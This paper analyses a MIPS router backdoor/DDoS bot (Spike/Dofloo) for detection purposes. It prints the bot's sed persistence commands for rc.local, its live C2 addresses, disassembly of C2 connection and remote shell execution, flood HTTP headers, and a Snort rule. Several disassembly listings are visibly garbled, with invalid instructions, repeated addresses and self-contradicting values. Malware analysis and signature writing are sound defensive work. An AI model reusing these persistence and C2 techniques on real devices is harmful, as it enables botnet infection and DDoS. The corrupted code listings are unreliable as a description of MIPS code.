Analyzing a Backdoor/Bot for the MIPS Platform

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Analysis of a MIPS Malware

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Abstract

Malware functionalities have been evolving and so are their target platforms and architectures. Non-PC appliances of different architectures have not traditionally been frequent targets of malware. However, many of those appliances, due to their enhanced processing power and/or low maintenance, provide ideal targets for malware. Moreover, due to the lack of security for home routers, they often remain infected until replaced, thereby providing longer persistence for a malware.

Recently, there has been a surge in malware for the MIPS and ARM architectures, targeting specific routers, DVRs, and other appliances. These network devices, in comparison, get less focus from vulnerability researchers and firmware patch application by end-users. This increases the risk of compromise and requires additional skills to cope with malware exploiting these platforms. This paper discusses various tools and techniques for reversing malware for the MIPS platform. We perform static and dynamic analysis of a MIPS malware, discuss its Command & Control mechanism, and provide detection of its network communication.
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1. Introduction

MIPS (Multiprocessor without Interlocked Pipeline Stages) architecture is a Reduced Instruction Set Computing (RISC) technology that is widely used in embedded devices. As per the statistics mentioned in MIPS instruction set (n.d.) and MIPS architecture (n.d.), MIPS-based processors are routinely used in routers from Cisco, Linksys, Mikrotik, Cable/DSL modems, video gaming consoles from Sony and Nintendo, printers, set-top boxes, and more. The ARM (Advanced RISC Machines) architecture is the most widely used architecture in smart phones, TVs, set-top boxes, and mobile devices.

Malware produced for network devices have been far less in number compared to those produced for PCs. However, this number is growing. According to various sources (Infodox, 2011; Janus, 2011) the earliest known malware-targeting MIPS platform is Hydra – an open source botnet framework released in 2008. It was designed for extensibility and features both a spreading mechanism and DDoS functionality. In 2009, another malware, Psyb0t, was found in-the-wild targeting routers and high-speed modems. Its botnet, with an estimated 100,000 compromised devices, was then used in a DDoS attack against DroneBL, an IP blacklisting service (Psyb0t, 2013).

In 2010, an IRC bot named Chuck Norris was found infecting routers and DSL modems. In addition to spreading by brute forcing routers’ passwords, this malware also exploited an authentication bypass vulnerability in D-Link routers (McMillan, 2010). Another IRC bot named Tsunami supported various commands and modified the DNS server setting in the configuration of the infected devices (Janus, 2011). This trend has been observed in more recent malware as well and is effective in redirecting traffic to malicious servers controlled by attackers.

In 2012, another IRC bot named LightAidra was found. It supported several architectures including MIPS, MIPSEL, ARM, PPC, and SuperH (Fitsec, 2012). It exploited a D-Link router vulnerability and modified firewall settings using iptables. The source code of LightAidra is freely available on the Internet as an open source project. In 2013,
Symantec discovered a worm called Darloz (Hayashi, 2013). This malware spread by exploiting a PHP vulnerability identified by CVE-2012-1823. It targeted various architectures including x86, ARM, MIPS, and PowerPC, thereby termed as an Internet of Things (IoT) Worm by Symantec (Hayashi, 2014). In order to block users from connecting to the infected device using Telnet, it drops Telnet traffic via iptables configuration and terminates the telnetd process. According to an investigation by Symantec (Hayashi, 2014), Darloz compromised more than 31,000 devices by February 2014. Its newer variants supported mining of cryptocurrencies (Mincoins and Dogecoins) and exploited a default password on Hikvision DVR cameras (Ullrich, 2014b). An interesting aspect of the Darloz worm is that it specifically targets rival worm LightAidra. LightAidra stores its process ID in various files including /var/run/.lightpid, /var/run/.aidrapid, and /var/run/lightpid. The Darloz worm attempts to terminate the processes whose PIDs are stored in these files and deletes LightAidra files from the infected device (Blinka, 2014).

In February 2014, Dr. Johannes Ullrich of the SANS Technology Institute discovered a new worm called TheMoon (Ullrich, 2014a). This malware was specifically targeting Linksys routers. One known instance of this malware, MD5:A85E4A90A7B303155477EE1697995A43, can target the following specific router models: E4200, E3200, E2500, E300, WRT610N, E1000, E1200, E1500, E1550, E2000, and E3000 (Constantin, 2014). The malware exploits a command execution vulnerability when parsing the ‘ttcp_ip’ parameter value sent in a POST request. It downloads a copy of itself by running the wget command on the vulnerable router after exploiting the vulnerability. The malware was named after the Hollywood movie, ‘Moon,’ because it contains several strings such as Moon, Gerty, Lunar, Sam, and Jupiter that match various characters in the movie. These characters in the code perform various tasks such as analysis of the infected device, harvesting targets and sending fingerprinting/exploit requests, and keeping logs. In the same year, malware Elknot was found targeting x86, ARM, and MIPS platforms (Kernelmode.info Forum, 2013), whereas GoARM/Ramgo targeted the ARM architecture (Adrian, 2014b). Moreover, newer versions of the BlackEnergy Backdoor (that has been used in APT attacks in the past) have been found...

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using plugins that target both the ARM and MIPS platforms (Baumgartner & Garnaeva, 2014).

Around mid-2014, a Backdoor/DDoS malware that is known by different names including Spike, AES, and Dofloo DDoS malware was discovered. Samples of this malware have been found targeting 32-bit and 64-bit Linux and Windows platforms as well as MIPS and ARM architectures. A toolkit that generates samples of the Spike DDoS malware was analyzed by the Akamai PLXsert Team (Akamai, 2014), and its report states that several Akamai customers have been targeted by DDoS attacks launched from this botnet. The peak attack by the Spike DDoS botnet, according to Akamai, was 215 Gigabits per second (Gbps) and 150 million packets per second (Mpps) (Akamai, 2014). This malware has also been discussed on the Kernelmode.info forum (Adrian, 2014a). In this paper, we analyze a sample of the Spike DDoS malware for the MIPS architecture and examine its commands, communication, and other operations.

2. Debugging Environment Setup

In order to analyze the malware binary for the MIPS architecture, the following tools were used:

- Oracle VM VirtualBox 4.3.7 r91406
- Ubuntu 12.04.4 LTS
- OpenWrt- Barrier Breaker (Bleeding Edge, r39584)
- Qemu 1.6.2
- IDA Pro 6.5.140116 (32-bit)
- Wireshark 1.10.5
- 010 Editor 3.0.4
- Python 2.7

After installing Ubuntu Linux on the Oracle VM VirtualBox, the OpenWrt Linux distribution was compiled and installed on the VM. OpenWrt also created the cross-
A compiler toolchain that is required to run MIPS binaries. The firmware for Atheros AR71xx routers was selected with the OpenWrt installation.

After installing OpenWrt, Quick Emulator (QEMU) was installed in order to provide hardware virtualization for OpenWrt and to run MIPS binaries in the OpenWrt environment. The detailed guidelines for these installations are not in the scope of this paper but can be found in other resources (Craig, 2011; Võsandi, 2013). The QEMU installation created binaries for both LittleEndian (qemu-mipsel) and Big Endian (qemu-mips) modes. Since the malware sample under analysis is compiled in Little Endian format, qemu-mipsel was used to run it. This will be demonstrated in the next section.

The malware was run in both a controlled environment (Host-only Adapter) as well as with Internet access using the Bridged Adapter. The non-controlled environment was provided in order to capture live traffic from a control server.

3. Analysis of the Malware

The sample under analysis is a 32-bit Little Endian ELF binary for the MIPS architecture, also known as Backdoor Spike DDoS or Dofloo. This binary was statically compiled and left unstripped; as such it contains all of its strings and import function names. The binary’s MD5 hash is 99ccdc5772a827917ae6cc8e29c78aee. These attributes are shown in the following figure:

![Figure 1: md5sum and file attributes of the sample.](image)

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The analysis of this malware includes both its behavioral and technical analysis which will be described in this paper.

### 3.1 Behavioral Analysis

When the malware was first run in a restricted environment (host-only network) it did not perform any network communication. Upon providing it access to the Internet, the malware contacted its Command & Control (C2) server at IP address 60.169.80.91, port 48080/TCP. The malware sent out some system information and received some responses. It continued exchanging messages with its control server. Other than communicating with the control server, no other suspicious connections by the malware, such as any DDoS operations, were observed in the traffic. This will later be clarified when the server responses are parsed and interpreted in the following subsections.

### 3.2 Technical Analysis

On the Ubuntu VM where OpenWrt and QEMU were installed, the sample file name “99ccdc-spike” was run as shown in Figure 2:

![Figure 2: Sample run and waiting for the gdb connection.](image)

Among the above parameters, the “-E” parameter specifies the IP address of the system from which the IDA debugger will be attached to the malware process. The “-g” parameter with value “1234” puts the malware execution on hold until a debugger is attached to it on port 1234/TCP. On the remote system with IP address ‘192.168.56.1,’ the IDA debugger was configured to connect to the Ubuntu VM having IP address ‘192.168.56.101’ on port 1234. Once the attachment to the malware process was successful, the debugging session began.

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In this section, functions related to C2 operations, communication mechanisms, and malware persistence will be discussed. The important code instructions have been explained using comments on their right side; however, further information on MIPS instructions can be found in Frenzel (1998) and MIPS instruction set (n.d.).

When the malware is started, it checks if its command-line has any arguments. If none are found then it assumes it is running for the first time on the target system. It then calls function `_Z8autobootPc`, which attempts to run the following commands in order to set up system persistence (reboot survival):

```bash
sed -i -e '/exit/d' /etc/rc.local
sed -i -e 'r
n|r|n$/d' /etc/rc.local
sed -i -e '2 i%s/%s' /etc/rc.local
sed -i -e '2 i%s/%s start' /etc/rc.d/rc.local
sed -i -e '2 i%s/%s start' /etc/init.d/boot.local
```

The main function of this malware calls function ‘`_Z14_ConnectServerv`’ which connects to one of the C2 servers with IP address 60.169.80.91 and port 48080/TCP. The information concerning this control server is stored in global variable ‘`m_OnlineInfo`’ using a simple obfuscated format. The malware adds a constant value of 0x4E20 (20000) to compute the actual aforementioned IP address and port. The following code/data snippets in Figures 3 and 4 demonstrate this behavior:

```assembly
.globl m_OnlineInfo
.m_OnlineInfo:.byte 0xFE  # ServerConnectClient(void)+BCTo
.m_OnlineInfo:.byte 0x77  # ServerConnectClient(void)+ECTo
.m_OnlineInfo:.byte 0x77  # IP base value 0x5850581C + 0x4E20 = 0x5850A83C (IP 60.169.80.91)
.m_OnlineInfo:.byte 0xF6  # DATA XREF: ServerConnectClient(void)+F4Tr
.dword_4CF968:.word 0x5850581C  # DATA XREF: ServerConnectClient(void)+F4Tr
.dword_4CF96C:.word 0x6DB0  # DATA XREF: ServerConnectClient(void)+F4Tr
.encoded_url  # 0x6DB0 + 0x4E20 = 0xBBBD (Port 48080)
```

Figure3: `m_OnlineInfo` data structure.

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If the malware cannot connect to the aforementioned control server, it may try connecting to another server with IP address 183.60.149.199 on the same port. However, it does not perform any obfuscation of this secondary control server’s IP address. This will be demonstrated while discussing one of the program threads (pthreads) started by the malware.

In function main, the malware sets some signals and creates the program threads as shown in Figure 5:

```
0040B3E5 la $a0, m_OnLineInfo
0040B3F4 lw $a0, (mAddr_mCF96C - $a0) # mCF96C - 0x6000 << pre-defined value in m_OnLineInfo
0040B3FA andi $a0, $a0, 0xFFF
0040B3FC addiu $a0, $a0, 0xE20 # 0x6000 + 0x6E20 = 0x6E80 (Port 48888)
0040B3FE addi $a0, $a0, 0xFFE
0040B404 move $a0, $v0
0040B409 jal ntokens # ntokens
0040B40C nop
0040B410 sh $v0, 0xF8+var_06($fp)
0040B414 li $v0, 2
0040B418 sh $v0, 0xF8+var_08($fp)
0040B41C la $v0, m_OnLineInfo # Structure containing IP/Port information
0040B424 lw $v0, 0x10(0x10)($v0) # mCF96A($v0) = 0x1010 (Port 48888)
0040B428 addiu $v0, $v0, 0xE20 # 0x5555555C + 0x6E20 = 0x5555555C (IP 68.169.80.91)
0040B42E sw $v0, 0xF8+var_D0($fp)
0040B432 li $v0, 11
0040B436 sw $v0, 0xF8+var_D4($fp)
0040B43A addiu $v0, $fp, 0xF8+var_D4
0040B43C lw $a0, 0xF8+var_D0($fp)
0040B440 li $a1, 0x6C7E
0040B444 move $a2, $v0
0040B449 jal inc1
0040B44C nop
0040B44E addiu $v0, $fp, 0xF8+var_44
0040B454 lw $a0, 0xF8+var_D0($fp)
0040B458 move $a1, $v0
0040B45C li $a2, 0x10
0040B460 jal connect # Connect
0040B464 nop
```

Figure 5: pthreads called in main function.

```
0040B465 addiu $a0, $v0, 0x40D
0040B467 move $a1, $zero
0040B469 jal pthread_create
0040B46D la $a0, 0x40D
0040B46F addiu $a2, $v0, (back_doorA - 0x400000)
0040B471 move $a3, $zero
0040B475 jal pthread_create
0040B479 la $a0, 0x40D
0040B47B addiu $a2, $v0, (back_doorB - 0x400000)
0040B47D move $a3, $zero
0040B481 jal pthread_create
0040B485 la $a0, 0x40D
0040B487 addiu $a2, $v0, (back_doorC - 0x400000)
0040B489 move $a3, $zero
0040B48D jal pthread_create
0040B491 addiu $a2, $v0, (ZGetLocalIpu - 0x400000)
0040B493 Jal _Z10getlocalipu # getlocalip(void)
0040B498 no
The functionalities of the above threads are described in the following subsections.

3.2.1 ‘SendInfo’ thread

This thread is implemented in function “\_Z8SendInfoPv”. It attempts to calculate the network/CPU speeds and periodically updates the control server about this information. This information is believed to be used by attackers to evaluate the operational capabilities of their bots and thus will assign DDoS tasks according to their CPU power and network bandwidth/speed.

This function also checks `ifconfig` information for Ethernet interfaces ranging from ‘eth0’ through ‘eth9’. It reads data from pseudo-file `/proc/net/dev` and computes network speed in Mbps. This file provides statistics on each network interface regarding the number of bytes sent/received, number of inbound/outbound packets, and more. Please refer to Figures 6, 7, and 8 which depict the code where this information is collected:

```
00409250 loc_409250:
00409250 lw $v0, 0x738+var_710($fp)
00409254 slti $v0, 0xA
00409258 bnez $v0, loc_409150
0040925c nop

00409150
00409150 loc_409150:
00409150 li $v0, 0x687465
00409154 lw $v0, 0x738+var_6EC($fp)
00409158 sb $zero, 0x738+var_6EB($fp)
00409160 sb $zero, 0x708+var_6EC($fp)
00409164 addiu $v0, $fp, 0x738+var_6EC
00409168 move $a0, $v0
0040916C li $a1, 2
00409170 lui $v0, 0x4A
00409174 addiu $a2, $v0, (a0 - 0x4A0000) # "%d"
00409178 lw $a3, 0x738+var_710($fp)
0040917C jal sprintf
00409180 nop
00409184 addiu $v1, $fp, 0x738+var_6EC
00409188 addiu $v0, $fp, 0x738+var_6EC
0040918C move $a0, $v1 # a0 = ‘eth’
00409190 move $a1, $v0 # a1 = ‘0’
00409194 jal strcat
00409198 nop
0040919C addiu $v0, $fp, 0x738+var_6EC
004091A0 move $a0, $v0 # a0 = ‘eth’
004091A4 jal _Z11my_ipconfigPc
004091A8 nop

Figure 6: Construct interface ‘ethN’ and call my_ipconfig.
```

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The malware also calculates the percentage of CPU usage by reading and processing values in `/proc/stat`. This pseudo-file keeps various statistics about the system since it was last run. The following figure shows two calls to a function that reads `/proc/stat`:

```assembly
0040939C addiu $v0, $fp, 0x738+var_178  # reads /proc/stat
004093A0 move $a0, $v0
004093A4 jal _210get_occupyP6occupy  # get_occupy(occupy *)
004093A8 nop
004093AC li $a0, 1
004093B0 jal sleep
004093B4 nop
004093B8 addiu $v0, $fp, 0x738+var_2E0
004093BC move $a0, $v0
004093C0 jal _210get_occupyP6occupy  # get_occupy(occupy *)
004093C4 nop
004093C8 sw $zero, 0x738+var_70C($fp)
004093CC j loc_409428
```
Next, Figure 10 shows a part of the code inside function 

```
void _Z10get_occupyP6occupy
{
    int var_428 = -0x428;
    int var_424 = -0x424;
    int var_420 = -0x420;
    int var_418 = -0x418;
    int var_40c = -0x40c;
    int var_408 = -0x408;
    int var_8 = -8;
    int var_4 = -4;
    int arg_0 = 0;

    addiu $sp, -0x438
    sw $ra, 0x438 + var_4($sp)
    sw $fp, 0x438 + var_8($sp)
    move $fp, $sp
    sw $a0, 0x438 + arg_0($fp)
    lui $s0, 0x48
    addiu $a0, $s0, (aProCStat - 0x4A0000)  # "/proc/stat"
    lui $s0, 0x48
    addiu $a1, $s0, (aR - 0x4A0000)  # "r"
    jal open
    # Open file
```

Figure 10: Read /proc/stat.

The malware then prints the CPU usage percentage and network speed information into a pre-defined format. If the socket has been created, it sends out that data to its control server. Figure 11 demonstrates this behavior:

```
void _Z10printINFO
{
    addiu $a0, 0x409500
    lw $s0, g_cpu_used
    sw $s0, $f0
    lui $f0
    addiu $s0, $f0
    # v0 = 0x3F800000
    mfci $f1
    lui $f1, 0x3F800000
    sw $f0, 0x3F800000
    # [a0] = [0x407FFF80] - 0
    addiu $a0, $fp, 0x40800000
    sw $a0, 0x728 + var_728($sp)
    lw $a1, aInfo_OFFSET
    add $a2, $s0
    move $a3, $t1
    jal sprintf
    # prints "INFO: %d, 0x728, %s"
    move $a2, 0
    move $a3, 0x728
    move $a3, 0x728
    move $a2, 0
    add $a2, $s0
    add $a3, $zero
    jal send
    # Send CPU Usage & network speed information
    # If socket created, send out INFO packet.
    lui $s0, 0x4E0
    lw $s0, MainSocketA
    addiu $s0, $fp, 0x738 + var_6E0
    move $a0, $s0
    jal strlen
    # Send CPU Usage & network speed information
```
The periodic speed information sent by this thread to its control server is shown in Figure 12 that represents the traffic captured through Wireshark:

![Figure 12: INFO packets sent by the malware.](image)

### 3.2.2 'backdoorA' Thread

This thread collects system information and sends it out to the control server. The information sent out by this thread includes OS Kernel version, CPU speed, total memory size, used memory size, and some hard-coded strings such as ‘VERSONEX’ and ‘Hacker.’ These strings have been observed in several samples of this malware family.

The following figure shows the initial request captured through Wireshark:
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Figure 13: backdoorA thread identifying to the server with system information.

This thread contains information about a secondary control server that could be contacted in case the primary control server is not available. The following figure shows the code containing IP and port number of the secondary control server:

```assembly
00408B20  li     $a0, 0xBB0D0   # Port = 0xBB0D (48080)
00408B24  jal    ntohs
00408B28  nop
00408B2C  sh     $v0, 0xF8+var_B6($fp)
00408B30  li     $v0, 2
00408B34  sh     $v0, 0xF8+var_B8($fp)
00408B38  li     $v0, 0xC7953CB7   # IP = 183.60.149.199
00408B40  sw     $v0, 0xF8+var_B4($fp)
00408B44  li     $v0, 1
00408B48  sw     $v0, 0xF8+var_A4($fp)
00408B4C  addiu  $v0, $fp, 0xF8+var_A4
00408B50  lw     $a0, 0xF8+var_D0($fp)
00408B54  li     $a1, 0x667E
00408B58  move   $a2, $v0
00408B5C  jal    ioctl1
00408B60  nop
00408B64  addiu  $v0, $fp, 0xF8+var_B8
00408B68  lw     $a0, 0xF8+var_D0($fp)
00408B6C  move   $a1, $v0
00408B70  li     $a2, 0x10
00408B74  jal    connect   # Connect
00408B78  nop
```

Figure 14: Secondary control server’s IP and port information.

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The following code snippet is used to construct and send the data shown above in Figure 13. The payload size of the packet is fixed to 0x400 (1024) bytes.

```
00409958 lw    $a3, 0x1068+var_F8($fp)  # a3 = 1
0040995c lw    $a2, 0x1068+var_F4($fp)  # a2 = 0x0D1E (3358)
00409960 lw    $a1, 0x1068+var_F0($fp)  # a1 = 0x2EB (747)
00409964 lw    $a0, 0x1068+var_EC($fp)  # a0 = 0x2A0 (672)
00409968 addiu  $v1, $fp, 0x1068+var_1010  # v1 = 0x407FF540
0040996c addiu  $v0, $fp, 0x1068+var_15C  # [v0] = [0x408004F4] = "3.11.0-15-generic"
00409970 sw    $a0, 0x1068+var_158($sp)
00409974 sw    $a2, 0x1068+var_154($sp)
00409978 sw    $a1, 0x1068+var_150($sp)
0040997c sw    $a0, 0x1068+var_14C($sp)
00409980 la    $a0, aHacker  # "Hacker"
00409988 sw    $a0, 0x1068+var_148($sp)
0040998c nve   $a0, $v1  # Output buffer = 0x407FF540
00409990 li    $a1, 0x400
00409994 lui   $v1, 0x40
00409998 addiu  $a2, $v1, (aVersionLinux_0 - 0x4080000)  # VERSOEX:Linux-3.11.0-15-generic
0040999c nve   $a3, $v0  # [a3] = [0x408004F4] = "3.11.0-15-generic"
004099a0 jal   snprintf  # snprintf
004099a4 nop
004099b0 lw    $v0, MainSocketA
004099b6 bnez  $v0, loc_409c8
004099bc nop
004099be j    loc_409e80
004099c0 nop  # ---------------------------------------------------------------
004099c0 loc_409c8:  # CODE XREF: _ConnectServerA(void)+2107
004099c0 lui    $v0, 0x40
004099c4 lw    $v1, MainSocketA
004099c8 addiu  $v0, $fp, 0x1068+var_1010
004099cc nve   $a0, $v1  # Data = "VERS0EX:Linux-3.11.0-15-generic-mips|...."
004099d0 nve   $a1, $v0
004099d4 li    $a2, 0x400  # Size = 0x400 (1024)
004099d8 nve   $a3, $zero
004099dc jal   send  # Send
```

Figure 15: Print and send system information.

In response to the above request, the server sent the following command/data that is captured and parsed by Wireshark:
In the above response, the first DWORD ‘07 00 00 00’ is the command code. The payload size of the server response is 0x19D; however, the malware parses only the fixed size 0x19C (412) bytes of it. The command codes expected by this thread are 5, 6, and 7. The following code snippet demonstrates how the server response is received and parsed:
Thus, the commands supported by this thread are:

- CmdShell (0x05)
- DealwithDDoS (0x06)
- Kill a process OR continue (0x07)
Each of the above commands and its functionality are described in the following subsections.

3.2.2.1 CmdShell (0x05) Command

If the command code matches 0x05, the malware copies data after the first DWORD in the server response to a buffer. It then calls function “`_Z8CmdshellIP8_MSGHEAD`”, which then calls the ‘System’ function to execute a command. The malware locates the shell command at offset 0x100 (256) within the data part of the server response. The command string has to be Null-terminated, whereas the rest of the data in the server response was redundant and not used while executing command 0x05. The following code snippets demonstrate this behavior:

```assembly
004761C loc_4761C: # CODE XREF: _ConnectServerA(void)+40C1f
004761C addiu $a0, $fp, 0x108+var_C18
004761C addiu $t1, $fp, 0x108+var_614
004761C li $0, 0x198
004761C move $a1, $t1
004761C move $a2, $0
004761C jal memcpy       # Copies 0x198 bytes after Command Code to a buffer
004761C move $0, $0
004761C addiu $0, $fp, 0x108+var_C18
004761C move $a0, $0
004761C jal _Z8CmdshellIP8_MSGHEAD   # Cmdshell(MSGHEAD =)
004761C nop
```

**Figure 18:** Call Cmdshell function.

```assembly
004761C globl _Z8CmdshellIP8_MSGHEAD
004761C _Z8CmdshellIP8_MSGHEAD: # CODE XREF: _ConnectServerA(void)+6784p
004761C _Z8CmdshellIP8_MSGHEAD: # ConnectServerA(void)+6684p ...
004761C
004761C var_8 = -8
004761C var_4 = -4
004761C arg_0 = 0
004761C addiu $sp, -0x20
0047620 sw $ra, 0x20+var_4($sp)  |  
0047624 sw $fp, 0x20+var_8($sp)
0047628 move $sp, $fp
004762C sw $a0, 0x20+arg_0($fp)
0047638 lw $a0, 0x20+arg_0($fp)  # u0 gets pointer to data after command code
0047634 addiu $s0, 0x100        # Offset 0x100 (256) added to v0
0047638 move $a0, $0
004763C jal system             # Execute the command
0047640 nop
```

**Figure 19:** Inside Cmdshell runs command at offset 0x100.

Since the control server did not send command 0x05 at the time of this research, a Python script (see Appendix A for details) was written by the author that listened for a message from the malware and sent the command 0x05. For this purpose, the response containing
command 0x07, which was received earlier from the actual control server, was modified to command code 0x05 and a shell command at offset 0x100 (starting from the command data part) was sent to the malware. As a result of sending that command, the malware created a text file with the string that is written to it via the ‘echo’ shell command. The following figure demonstrates the shell command that was sent to the malware using the Python script:

![Shell Command](image)

Figure 20: Modified response sent with Shell command.

### 3.2.2.2 DealwithDDoS (0x06) Command

When command code 0x06 is found, the malware performs AES decryption of the data that is sent in the server response. It then performs expansion of the decryption key and then calls function ‘_ZN3AES9InvCipherEPh’ or ‘AES::InvCipher(uchar *)’ in a loop. In each round, 16 bytes of data is decrypted. Once decryption is completed, the malware calls function ‘DealwithDDoS(_MSGHEAD *)’. The following code snippets are used in these operations:
Based on the static code analysis, when the ‘DealwithDDoS’ function is started, it calls various flooding pthreads depending on the instructions received from the control server. Since at the time of this research the control server did not send DDoS command 0x06, the complete structure of this command is not known. The flooding attacks supported by this function are found in the following pthreads:

- TCP_Flood
- CC_Flood
- CC2_Flood
- CC3_Flood

The following code snippets show some of the pthreads started by the DDoS function:

```assembly
004092c move $a0, $v1
0040930 move $s1, $v0
0040934 jal _ZN5AES9InvCipherEPc # AES::InvCipher(uchar *) << decrypts 16 bytes in each round
0040938 li $v0, 0x1068+var_1030($fp)
0040940 addiu $v0, $v0, 1
0040944 sw $v0, 0x1068+var_1030($fp)
0040948
0040948 loc_409d48:
0040948 lw $v1, 0x1068+var_1030($fp)
004094c li $v0, 0x19
0040950 addiu $v0, $v0, 1
0040954 bnez $v0, loc_409d18
004095c
004095e addiu $v1, $fp, 0x1068+var_47c
0040964 addiu $v0, $fp, 0x1068+var_789
0040968 move $a0, $v1
004096c move $s1, $v0
0040970 li $s2, 0x198
0040974 jal memcpy # Copies decrypted data to a buffer at 40800104
0040978
004097c addiu $v0, $fp, 0x1068+var_47c
0040980 move $a0, $v0
0040984 jal _ZN12DealwithDDoSEP8MSGHEAD # DealwithDDoS(MSGHEAD *)
0040990 nop
```

Figure 22: Decrypt DDoS command and call $\textit{DealwithDDoS}$.
Based on the static code analysis, in the case of CC_Flood (Figure 24) DDoS, the malware sends out HTTP GET requests until the ‘StopFlag’ is set to 1. The following are some of the headers used in building such requests:

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The **CC2_Flood** (Figure 25) and **CC3_Flood** (Figure 26) DDoS also send out HTTP GET requests with some minor differences. For example, headers used with CC2_Flood requests are as follows:

```plaintext
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept: text/html, application/xhtml+xml, */*
```

3.2.2.3 **Kill a Process or Continue (0x07) Command:**

This command checks if the value of its ‘pid’ global variable is non-Null; then it attempts to terminate the process with that process ID. If the value is Null, the malware continues to the beginning of the loop and sends the next request to the server. Notice that the functionality of this command does not require a large amount of data (0x19C bytes) to be sent by the server. However, since the length of the received data is hard-coded in several places, the control server appears to be sending garbage data along with command 0x07. The following code snippet demonstrates the functionality of this command:
3.2.3 ‘backdoorM’ Thread

This thread performs very similar functions to the ‘BackdoorA’ thread with the exception that it has one additional command 0x01. This command updates flag value ‘statM’ to zero. This flag found at the beginning of the function is used to determine whether to sleep for a certain amount of time or continue operations if it is zero. This is shown in the following figure:

Figure 27: Command 0x07 – kill a process and/or continue.

Figure 28: Command 0x01 – unset a flag.
3.2.4 Detection and Indicators of Compromise (IoC)

3.2.4.1 Traffic Detection

As described earlier, the first request sent out by the malware with system information has a fixed payload size of 0x400 (1024) bytes. This value can be checked as a ‘dsize’ value along with other patterns in a Snort signature. The following is a Snort signature that can be used to detect a malware request sent to its control server:

```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"SpikeDDoS Malware Detection"; dsize:1024; content:"VERSONEX\|3a\|"; nocase; offset:0; depth:9; content:"MHz\|7C\|"; nocase; distance:4; within:48; content:"MB\|7C\|"; nocase; distance:3; within:8; content:"\|00 00 00 00 00 00 00\|"; distance:32; within:32; classtype:Botnet; sid:1100110010; rev:1;)
```

The server response sent to the malware must also be at least 0x19C (412) bytes. The first 4 bytes are command codes including 1, 5, 6, and 7. A signature for the server response is also possible but since the malware request has several options for pattern detection, it is sufficient for traffic detection and would be more efficient compared to signature detection for the server response.

3.2.4.2 Indicators of Compromise (IoC)

When the malware is started, it checks the number of its command-line parameters. If it does not have any parameters, it calls function ‘_Z8autobootPc’. In this function the malware sets up its reboot survival mechanism. It attempts to add itself to the following files:

- /etc/rc.local
- /etc/rc.d/rc.local
- /etc/init.d/boot.local

In the case of /etc/rc.local, the malware removes any lines containing string “exit”. As a result of this, a line containing string “exit 0” was deleted from the /etc/rc.local file on the infected system. Furthermore, the malware also removes any empty lines from this...
file. Commands that perform these operations were previously examined. The malware then adds itself with parameter “reboot” to file /etc/rc.local as shown in the following:

```
#!/bin/sh -e
/home/username/openwrt/staging_dir/target-mips_34kc_uClibc-0.9.33.2/root-ar71xx/MalwareFileName reboot
#
# rc.local
# [...truncated...]
```

In the case of /etc/rc.d/rc.local and /etc/init.d/boot.local an error occurred when passing a parameter pointer to the malware filename string. However, when the parameter was passed correctly by modifying register ‘a3’ value after instruction at address 0x0040AF40, the malware created the following entry in /etc/rc.d/rc.local with parameter “start”. It uses the same format string for adding itself to /etc/init.d/boot.local as well, as shown below.

```
/home/username/openwrt/staging_dir/target-mips_34kc_uClibc-0.9.33.2/root-ar71xx/MalwareFileName reboot start
```

Please note that these target configuration files may not exist on all systems. The malware does not check for the existence of these files before attempting to write its command-line to them.

4. Debugging Challenges and Workarounds

The malware sample under analysis frequently uses forks and pthreads. As a result, multiple threads and instances of the malware are instantiated. In order to analyze such a code flow, gdb debugger provides various custom options such as setting follow-fork-mode and non-stop mode. However, through IDA Pro debugger these custom options for remote gdb debugging could not be enabled. As a workaround, a fork call in the main function was deactivated with NOP instructions. Figures 28 and 29 demonstrate the code
where the fork was disabled in order to continue debugging the subsequent operations of the malware:

```
Figure 29: Original code with fork call.
```

```
Figure 30: Disabled fork call.
```

After bypassing the fork call and some flag checks, when the first ‘pthread’ call reached the ‘SendInfo’ function, the debugging session with IDA debugger was terminated. Since IDA Pro was configured to use gdb debugger for remote debugging of the MIPS binary, the default operation of gdb is the ‘stop-all’ (all threads stopped) mode. Whereas for debugging asynchronous multi-threaded code, it requires operating in the ‘non-stop’ mode to allow threads other than the debugged thread to continue running. With very limited command line options supported via IDA Pro Command-line for gdb, it could not be determined whether any other method could be used to enable these custom options for use of the gdb debugger via IDA Pro. To address this issue, it was attempted to use gdb directly and to configure it to operate in the non-stop mode. As such, an instance of gdb compiled for the MIPS architecture was used to attach to the malware sample running within QEMU. However, when gdb with the non-stop mode attempted to attach to the remote process, it presented the following error message stating that the remote
process does not support the *non-stop* mode. Thus, this attempt was not successful either.

Figure 31 depicts this error message:

![Error Message](image)

Figure 31: Non-stop mode attempt via MIPS *gdb*.

Thus, for the debugging of threads, the binary was patched and pthread calls were replaced with direct function calls to thread functions. The following figure shows the modified calls to the thread functions:

```
li $a0, 1
jal close

li $a0, 2
jal close

jal _Z8SendInfoPu     # SendInfo(void *)

jal _Z9backdoorMPu    # CODE XREF: SendInfo(void *),1C↑j

jal _Z9backdoorMPu    # backdoorA(void *)

jal _Z9backdoorMPu    # backdoorM(void *)
```

Figure 32: Modified calls to thread functions.

When each of the pthread functions was analyzed, it was found that they ran asynchronously in their respective infinite loops. However, certain information such as socket creation and the ability to start/stop certain operations are communicated through global flag variables. When asynchronous thread functions were executed in *all-stop*
mode, it required the modification of certain jump instructions in order to debug the subsequent function.

As described in MIPS instruction set (n.d.) and various other documentations, the J-type or Jump instructions on the 32-bit MIPS architecture are comprised of 6-bit Opcode/Instructions and 26-bit jump target addresses. Since a 32-bit address value can only be represented within 26-bits of a jump instruction, the address is divided by 4 before using it with a jump instruction. In order to modify a jump value to be used in a MIPS instruction, the following formula is used:

\[
\text{Operand Address (26-bits)} = \frac{\text{(target destination address)}}{4} = \text{quotient} \& 0x03FFFFFF
\]

The ‘Operand Address’ of the jump target address is then prepended to the instruction opcode. The prepending is done in the Little Endian format due to the fact that the binary being analyzed is in Little Endian format. For example, the modified function call for pthread function ‘\_Z8SendInfoPv’ in the aforementioned code is set to, in hexadecimal, ‘DF 25 10 0C’. The actual address of the ‘\_Z8SendInfoPv’ function is 0x0040977C which is shown in the following code snippet:

```
0040977C     # SendInfo(void *)
0040977C .globl _Z8SendInfoPv
0040977C _Z8SendInfoPv:          # CODE XREF: _ConnectServerA(void)
0040977C # main+180lp
0040977C beq_0 var_0 = -0
0040977C beq_1 var_1 = -1
0040977C beq_2 arg_0 = -0
0040977C beq_3 arg_1 = -0
0040977C addiu $sp, -0x20
